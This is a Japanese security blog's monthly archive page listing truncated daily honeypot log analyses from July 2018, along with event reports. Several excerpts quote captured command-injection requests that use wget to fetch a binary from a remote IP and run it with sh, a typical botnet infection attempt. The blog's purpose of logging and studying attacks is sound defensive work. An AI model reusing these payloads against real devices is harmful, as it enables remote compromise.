S-Owl

S(ecurity)Owl

2018-07-01から1ヶ月間の記事一覧

WOWHoneypotの簡易分析(57日目)

WOWhoneypotの2018/07/30(月) (運用57日目)の簡易分析です。本日の総アクセス件数は 56件です。本日は件数が少ないです。以下が全アクセスログです。 31 2018-07-30 GET / 3 2018-07-30 POST /images.php 3 2018-07-30 POST /cmx.php 3 2018-07-30 GET /cmx.…

2018/07/06-07「Hardening II Collective」参加記録

先日、Hardeningに参加してきました。その内容と振り返り等を記録として残します。参加して貴重な体験ができたことを、関係者の皆様に感謝いたします。 Hardening Project 2018 Hardening II Collectivehttps://wasforum.jp/hardening-project/ ■参加のモチ…

WOWHoneypotの簡易分析(56日目)

WOWhoneypotの2018/07/29(日) (運用56日目)の簡易分析です。本日の総アクセス件数は 141件です。以下が全アクセスログです。 29 2018-07-29 GET / 4 2018-07-29 GET /manager/html 2 2018-07-29 POST /qq.php 2 2018-07-29 GET /www/phpMyAdmin/index.php 2 …

WOWHoneypotの簡易分析(55日目)

WOWhoneypotの2018/07/28(土) (運用55日目)の簡易分析です。本日の総アクセス件数は 495件です。本日は大量です。以下が全アクセスログです。 32 2018-07-28 GET / 6 2018-07-28 POST /qq.php 6 2018-07-28 POST /qaq.php 6 2018-07-28 GET /www/phpMyAdmin/…

WOWHoneypotの簡易分析(54日目)

WOWhoneypotの2018/07/27(金) (運用54日目)の簡易分析です。本日の総アクセス件数は 492件です。一時期アクセス数が低減しどうしようかと思っていましたが、様子見しているうちにアクセス数が回復してきました。以下が全アクセスログです。 335 2018-07-27 G…

WOWHoneypotの簡易分析(53日目)

WOWhoneypotの2018/07/26(運用53日目)の簡易分析です。本日の総アクセス件数は 136件です。以下が全アクセスログです。 36 2018-07-26 GET / 4 2018-07-26 POST /qq.php 4 2018-07-26 POST /GponForm/diag_Form?images/ 2 2018-07-26 PROPFIND / 2 2018-07-2…

WOWHoneypotの簡易分析(52日目)

WOWhoneypotの2018/07/25(水) (運用52日目)の簡易分析です。本日の総アクセス件数は 105件です。以下が全アクセスログです。 43 2018-07-25 GET / 6 2018-07-25 GET /shell?cd+/tmp;cd+/var;wget+hxxp://199.195.254.118/jaws+-O+lwodo;sh%+lwodo;rm+-rf+lwo…

WOWHoneypotの簡易分析(51日目)

WOWhoneypotの2018/07/24(火) (運用51日目)の簡易分析です。本日の総アクセス件数は 255件です。以下が全アクセスログです。 48 2018-07-24 GET /index.action 34 2018-07-24 GET / 10 2018-07-24 GET /login.cgi?cli=aa%20aa%27;wget%20hxxp://199.195.254[…

WOWHoneypotの簡易分析(49日目)

うっかりしていたことに、前日分の分析を怠っていたようです…。日付前後しますが、分析します。 WOWhoneypotの2018/07/22(日) (運用49日目)の簡易分析です総アクセス件数は 76件です。以下が全アクセスログです。 24 2018-07-22 GET / 4 2018-07-22 GET /ind…

WOWHoneypotの簡易分析(50日目)

WOWhoneypotの2018/07/23(月) (運用50日目)の簡易分析です。本日の総アクセス件数は 58件です。以下が全アクセスログです。 31 2018-07-23 GET / 8 2018-07-23 GET /index.action 4 2018-07-23 GET /manager/html 2 2018-07-23 GET /login.cgi?cli=aa%20aa%2…

WOWHoneypotの簡易分析(48日目)

WOWhoneypotの2018/07/21(運用48日目)の簡易分析です。本日の総アクセス件数は 153件です。以下が全アクセスログです。 35 2018-07-21 GET / 5 2018-07-21 GET /pma/scripts/setup.php 5 2018-07-21 GET /phpmyadmin/scripts/setup.php 5 2018-07-21 GET /my…

WOWHoneypotの簡易分析(47日目)

WOWhoneypotの2018/07/20(金) (運用47日目)の簡易分析です。本日の総アクセス件数は 230件です。以下が全アクセスログです。 40 2018-07-20 GET / 10 2018-07-20 GET /login.cgi?cli=aa%20aa%27;wget%20hxxp://104.244.72[.]82/k%20-O%20-%3E%20/tmp/k;sh%20…

WOWHoneypotの簡易分析(46日目)

WOWhoneypotの2018/07/19(木) (運用46日目)の簡易分析です。本日の総アクセス件数は 153件です。以下が全アクセスログです。 35 2018-07-19 GET / 2 2018-07-19 POST /qq.php 2 2018-07-19 GET /xampp/phpmyadmin/index.php 2 2018-07-19 GET /www/phpMyAd…

WOWHoneypotの簡易分析(45日目)

WOWhoneypotの2018/07/18(水) (運用45日目)の簡易分析です。本日の総アクセス件数は 125件です。以下が全アクセスログです。 41 2018-07-18 GET / 2 2018-07-18 POST /qq.php 2 2018-07-18 GET /login.cgi?cli=aa%20aa%27;wget%20hxxp://185.62.190[.]191/…

WOWHoneypotの簡易分析(44日目)

WOWhoneypotの2018/07/17(火)(運用44日目)の簡易分析です。本日の総アクセス件数は 84件です。以下が全アクセスログです。 32 2018-07-17 GET / 30 2018-07-17 GET /manager/html 13 2018-07-17 GET /index.action 1 2018-07-17 HEAD /redirect.php 1 2018…

WOWHoneypotの簡易分析(43日目)

WOWhoneypotの2018/07/16(月) (運用43日目)の簡易分析です。本日の総アクセス件数は 168件です。以下が全アクセスログです。 34 2018-07-16 GET / 4 2018-07-16 GET /index.action 2 2018-07-16 POST /qq.php 2 2018-07-16 GET /xampp/phpmyadmin/index.ph…

WOWHoneypotの簡易分析(42日目)

WOWhoneypotの2018-07-15(運用 日目)の簡易分析です。本日の総アクセス件数は 78件です。以下が全アクセスログです。 47 2018-07-15 GET / 30 2018-07-15 GET /manager/html 1 2018-07-15 HEAD / 最近少なくなってきている気はしていましたが… 圧倒的な少な…

WOWHoneypotの簡易分析(41日目)

WOWhoneypotの2018/07/14(土) (運用41日目)の簡易分析です。そろそろn日目の表記とか要らないのではと思い始めています。 本日の総アクセス件数は 310件です。最近アクセスが少なかったので、どう育てるか考えていたんですが、まだ多い日もあってよかったで…

WOWHoneypotの簡易分析(40日目)

WOWhoneypotの2018/07/13(金) (運用40日目)の簡易分析です。本日の総アクセス件数は 174件です。以下が全アクセスログです。 39 2018-07-13 GET / 14 2018-07-13 GET /index.action 2 2018-07-13 POST /qq.php 2 2018-07-13 GET /xampp/phpmyadmin/index.php…

WOWHoneypotの簡易分析(39日目)

WOWhoneypotの2018/07/12(木) (運用39日目)の簡易分析です。本日の総アクセス件数は 70件です。以下が全アクセスログです。 44 2018-07-12 GET / 10 2018-07-12 GET /manager/html 3 2018-07-12 HEAD / 1 2018-07-12 POST /sdk 1 2018-07-12 GET /w00tw00t.a…

WOWHoneypotの簡易分析(38日目)

WOWhoneypotの2018/07/11(水) (運用38日目)の簡易分析です。本日の総アクセス件数は 84件です。以下が全アクセスログです。 33 2018-07-11 GET / 4 2018-07-11 HEAD / 1 2018-07-11 GET /xampp/phpmyadmin/scripts/setup.php 1 2018-07-11 GET /w00tw00t.at.…

WOWHoneypotの簡易分析(37日目)

WOWhoneypotの2018/07/10(火) (運用37日目)の簡易分析です。本日の総アクセス件数は 494件です。多めです。以下が全アクセスログです。 153 2018-07-10 POST /command.php 27 2018-07-10 GET / 6 2018-07-10 GET /xampp/phpmyadmin/index.php 6 2018-07-10 G…

2018/06/30第4回ハニーポッター技術交流会LT「ハニーポットログの読み方(初級編)」

2018/06/30に、@morii_socさん主催の第4回ハニーポッター技術交流会にLT参加してきました。 もともと、ハニーポットについては、詳しく知ったのは @one_chick さんから話を聞いたのがキッカケです。また、合わせてこの技術交流会の存在は聞いていて、参加し…

WOWHoneypotの簡易分析(36日目)

WOWhoneypotの2018/07/09(月) (運用37日目)の簡易分析です。本日の総アクセス件数は 160件です。少し件数は回復しました。以下が全アクセスログです。 34 2018-07-09 GET / 4 2018-07-09 HEAD / 2 2018-07-09 GET /xampp/phpmyadmin/index.php 2 2018-07-09 …

2018年6月度のphpMyAdminの調査

先日、6月の統計を取りました。 2018年6月度のWOWHoneypotのアクセスまとめ - S-Owl ちょうど graneed氏がphpMyAdminの調査を行った記事を書いていました。 phpMyAdminを狙った攻撃を深追いしてみた - こんとろーるしーこんとろーるぶい こちらも6月のアクセ…

WOWHoneypotの簡易分析(35日目)

WOWhoneypotの2018/07/08(日) (運用35日目)の簡易分析です。本日の総アクセス件数は 45件です。以下が全アクセスログです。 37 2018-07-08 GET / 5 2018-07-08 HEAD / 1 2018-07-08 GET /x 1 2018-07-08 GET /phpmyadmin 1 2018-07-08 GET /manager/html ア…

2018年6月度のWOWHoneypotのアクセスまとめ

遅くなりましたが、2018年6月(5-30)までの1ヶ月間のアクセスログの統計を取りました。 まずは、6月の総アクセス件数は7598件です。 では、いつものmethod+pathによる統計(top20)です。 method path count GET / 1643 GET /manager/html 1336 HEAD / 651 POST…

WOWHoneypotの簡易分析(34日目)

WOWhoneypotの2018/07/07(土) (運用34日目)の簡易分析です。本日の総アクセス件数は 243件です。以下が全アクセスログです。 46 2018-07-07 GET /manager/html 36 2018-07-07 GET / 4 2018-07-07 GET /pmd/index.php 4 2018-07-07 GET /pmamy/index.php 4 20…

WOWHoneypotの簡易分析(33日目)

WOWhoneypotの2018/07/06(金) (運用33日目)の簡易分析です。本日の総アクセス件数は128件です。以下が全アクセスログです。 34 2018-07-06 GET / 2 2018-07-06 GET /xampp/phpmyadmin/index.php 2 2018-07-06 GET /www/phpMyAdmin/index.php 2 2018-07-06 GE…

WOWHoneypotの簡易分析(32日目)

WOWhoneypotの2018-07-05(運用32日目)の簡易分析です。本日の総アクセス件数は49件です。以下が全アクセスログです。 37 2018-07-05 GET / 6 2018-07-05 HEAD / 2 2018-07-05 CONNECT 133.130.126[.]119:43 1 2018-07-05 POST //%63%67%69%2D%62%69%6E/%70%6…